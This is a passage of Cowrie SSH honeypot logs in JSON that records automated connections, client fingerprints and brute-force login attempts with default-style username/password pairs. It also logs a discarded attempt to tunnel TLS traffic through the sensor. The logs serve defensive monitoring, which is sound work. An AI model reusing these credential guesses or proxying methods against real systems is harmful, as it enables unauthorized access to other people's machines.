104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xdc\\xd0\\xc4\\xdf|\\xa7d(\\xfa\\x9b\\x9b\\xf5%\\x9c\\xcb\\x7f\\xc3$\\xda\\x1f\\x95!\\xc8b\\x1b\\x96\\xaa<\\xa9\\x91j\\xdf b~\\x97Zv*0dW\\xcf\\xef\\xdf\\xdf\\x97\\xc9\\xe0\\xd8>[\\xce\\xa9\\x1e\\xb2\\xcb\\xd9$\\xe1UD\\xe6!#\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 q\\x16\\xd0\\xb6\\xe2\\x97\\xcc\\xa2\\xc49\\xb6\\xe1SDMQc8M\\x9e2x!\\x8e7b*\\x1d#\\xc1\\xcf\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:44.170291Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:44.251496Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xeaB\\xb7j\\\\\\xf5\\x19o\\xc8$\\x13\\xfa!k\\xe3!m<\\x02\\xed\\x88>0\\xcc\\xfb\\'w\\xd1S\\xe3\\xc2D 5\\xa3\\x1d\\xb0\\xa6\\xd8X\\xae\\xbb\\x94\\x98\\xfd\\xff\\r\\xc9P\\x85\\x16#\\x93\\xd8\\xeaH\\x0fw\\x05^~\\x18\\xcb)\\x1f\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 _+\\xde\\xfb\\xef\\x1c\\xaeu\\xa5\\xb5o4\\xba\\xc6\\xaf\\xde\\xf1\\x19\\xfaN\\x1e\\x92\\x83\\xd7i1\\xf5\\xa9\\x16\\xb7\\xc5`\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xeaB\\xb7j\\\\\\xf5\\x19o\\xc8$\\x13\\xfa!k\\xe3!m<\\x02\\xed\\x88>0\\xcc\\xfb\\'w\\xd1S\\xe3\\xc2D 5\\xa3\\x1d\\xb0\\xa6\\xd8X\\xae\\xbb\\x94\\x98\\xfd\\xff\\r\\xc9P\\x85\\x16#\\x93\\xd8\\xeaH\\x0fw\\x05^~\\x18\\xcb)\\x1f\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 _+\\xde\\xfb\\xef\\x1c\\xaeu\\xa5\\xb5o4\\xba\\xc6\\xaf\\xde\\xf1\\x19\\xfaN\\x1e\\x92\\x83\\xd7i1\\xf5\\xa9\\x16\\xb7\\xc5`\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:44.254354Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:44.828545Z","src_ip":"45.153.34.195","session":"a55a410b292a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34510,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4a59173094e","protocol":"ssh","message":"New connection: 45.153.34.195:34510 (10.17.0.5:22) [session: c4a59173094e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:46.060567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:46.066862Z","src_ip":"45.153.34.195","session":"c4a59173094e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:46.167989Z","src_ip":"45.153.34.195","session":"c4a59173094e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:46.927516Z","src_ip":"45.153.34.195","session":"c4a59173094e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:48.014392Z","src_ip":"45.153.34.195","session":"c4a59173094e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34518,"dst_ip":"10.17.0.5","dst_port":22,"session":"76e4c6da8249","protocol":"ssh","message":"New connection: 45.153.34.195:34518 (10.17.0.5:22) [session: 76e4c6da8249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:49.226858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:49.231473Z","src_ip":"45.153.34.195","session":"76e4c6da8249","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:49.318174Z","src_ip":"45.153.34.195","session":"76e4c6da8249","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"p@ssw0rd","message":"login attempt [pi/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:49.579287Z","src_ip":"45.153.34.195","session":"76e4c6da8249","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":59273,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b158667564f","protocol":"ssh","message":"New connection: 38.46.222.137:59273 (10.17.0.5:22) [session: 0b158667564f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:49.868805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:49.874729Z","src_ip":"38.46.222.137","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:49.940600Z","src_ip":"38.46.222.137","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.5","message":"Connection lost after 21.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:50.029261Z","src_ip":"23.175.50.51","session":"ca8571995764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.990763187408447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:50.519400Z","src_ip":"107.6.151.170","session":"734871320626","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:50.663813Z","src_ip":"45.153.34.195","session":"76e4c6da8249","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:51.579194Z","src_ip":"38.46.222.137","session":"0b158667564f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34534,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd7d1f691a6c","protocol":"ssh","message":"New connection: 45.153.34.195:34534 (10.17.0.5:22) [session: dd7d1f691a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:52.126701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:52.181484Z","src_ip":"45.153.34.195","session":"dd7d1f691a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:52.263858Z","src_ip":"45.153.34.195","session":"dd7d1f691a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"1","message":"login attempt [root1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:52.623237Z","src_ip":"45.153.34.195","session":"dd7d1f691a6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"73.36.177.174","src_port":42122,"dst_ip":"10.17.0.5","dst_port":22,"session":"737d61506463","protocol":"ssh","message":"New connection: 73.36.177.174:42122 (10.17.0.5:22) [session: 737d61506463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:52.790187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:52.794393Z","src_ip":"73.36.177.174","session":"737d61506463","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:52.835936Z","src_ip":"73.36.177.174","session":"737d61506463","protocol":"ssh"}
